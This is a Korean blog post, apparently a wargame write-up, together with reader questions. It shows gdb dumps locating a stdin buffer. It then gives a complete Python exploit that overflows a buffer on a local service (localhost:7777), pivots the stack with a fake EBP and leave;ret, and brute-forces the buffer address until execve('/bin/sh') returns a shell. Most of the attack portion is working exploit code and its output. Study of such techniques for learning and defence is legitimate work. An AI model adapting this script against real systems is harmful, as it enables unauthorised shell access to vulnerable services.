0x080485e0 <main+80>:   mov    0x804985c,%eax
0x080485e5 <main+85>:   sub    $0x4,%esp
0x080485e8 <main+88>:   push   %eax
0x080485e9 <main+89>:   push   $0x400
0x080485ee <main+94>:   lea    0xfffffc00(%ebp),%eax
0x080485f4 <main+100>:  push   %eax
0x080485f5 <main+101>:  call   0x80483ec

...

(gdb) x/x 0x804985c
0x804985c <stdin@@GLIBC_2.0>:   0x00236740
(gdb) x/10x 0x00236740
0x236740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7fe1000      0xb7fe1000      0xb7fe1000
0x236750 <_IO_2_1_stdin_+16>:   0xb7fe1000      0xb7fe1000      0xb7fe1000      0xb7fe1000
0x236760 <_IO_2_1_stdin_+32>:   0xb7fe2000      0x00000000
(gdb) x/10x 0xb7fe1000
0xb7fe1000:     0x61616161      0x61616161      0x61616161      0x61616161
0xb7fe1010:     0x61616161      0x61616161      0x61616161      0x61616161
0xb7fe1020:     0x61616161      0x61616161

...

(gdb) r < exploit
...
(gdb) x/10x 0x804985c
0x804985c <stdin@@GLIBC_2.0>:   0x008cb740      0x00000000      0x00000000      0x00000000
0x804986c:      0x00000000      0x00000000      0x00000000      0x00000000
0x804987c:      0x00000000      0x00000000
(gdb) x/4x 0x008cb740
0x8cb740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7f45000      0xb7f45000      0xb7f45000

...

(gdb) r < exploit
...
(gdb) x/4x 0x008cb740
0x8cb740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7ff5000      0xb7ff5000      0xb7ff5000

...

(gdb) r < exploit
(gdb) x/4x 0x008cb740
0x8cb740 <_IO_2_1_stdin_>:      0xfbad2098      0xb7fba000      0xb7fba000      0xb7fba000

stdin 버퍼의 주소값이 있는 곳이 0x008cb744 또는, 0x00236744 일 확률이 높다.

버퍼의 주소또한,

0xb7f??000 으로 두자리밖에 안바뀐다, (대충 300번정도 돌리면 한번은 걸린다는소리)

이 특징을 이용해서, fake_ebp를 시도한다.

from struct import *
from socket import *
import time
 
leave_ret = pack('<I',0x0804858e)
fake_ebp = 0xb7ff5000+272
 
i=0
while True:
        print i
        i=i+1
        buf = ""
        buf+="a"*260
        buf+=pack('<I',fake_ebp)
        buf+=leave_ret
        buf+=pack('<I',0x31337)
        buf+=pack('<I',fake_ebp)         # fake_ebp
        buf+=pack('<I',0x832abc)         # 1 execve("/bin/sh",0)
        buf+="AAAA"                      # 2
        buf+=pack('<I',0x8bd987)         # 3 &"/bin/sh"
        buf+=pack('<I',fake_ebp+4*5)     # 4
        buf+=pack('<I',fake_ebp+4*6)     # 5
        buf+="\x00\x00\x00\x00"          # 6
        s = socket(AF_INET, SOCK_STREAM)
        s.connect(('localhost',7777))
        s.recv(1024)
        s.send(buf)
        time.sleep(0.1)
        try:
                for j in range(0,10):
                        s.send("my-pass\n")
        except:
                s.close()
                continue
        try:
                get = s.recv(1024)
                print get
                s.close()
                break
        except:
                print "except"
                s.close()
                continue
        s.close()

하….. 이게 맞았는지 틀렸는지 확실하지 않으니까, 틀렸다는걸 알아채는데 좀 오래걸린다.

그리고, send(“my-pass\n”) 를 두번이상 보내야한다.. 아마 시간차때문인듯 하다.

$ python exploit.py
...
except
159
euid = 502
let me ride

(근데, execve 대신 system함수를 사용하면, system함수 내부에서 __i686.get_pc_thunk.bx를 call할때 에러가 난다. 이유는 모르겠다…)

posted by tunz
  • 마루 2013.12.13 15:08

    안녕하세요. 궁금한 부분이 있어서 질문 드립니다.
    execve 인자 부분인데요.
    buf+=pack('<I',fake_ebp+4*5) # 4
    buf+=pack('<I',fake_ebp+4*6) # 5
    이 두부분 의미를 모르겠네요.
    좀 부탁드립니다. 수고하세요

    • tunz 2013.12.13 15:45 신고

      fake_ebp+4*6이 NULL을 가리키고 있는 포인터고, fake_ebp+4*5이 그 포인터의 주소입니다.

    • 마루 2013.12.13 16:24

      아 뒤에 있는 null을 가리키는군요.
      오 정말 감사합니다 ^^

  • ksg97031 2014.03.30 12:42

    execve 의 첫번째인자는 포인터의 주소값을 받나여 ??

    • tunz 2014.03.30 20:27 신고

      문자열을 넘길때는 항상 문자열의 주소값을 넘깁니다.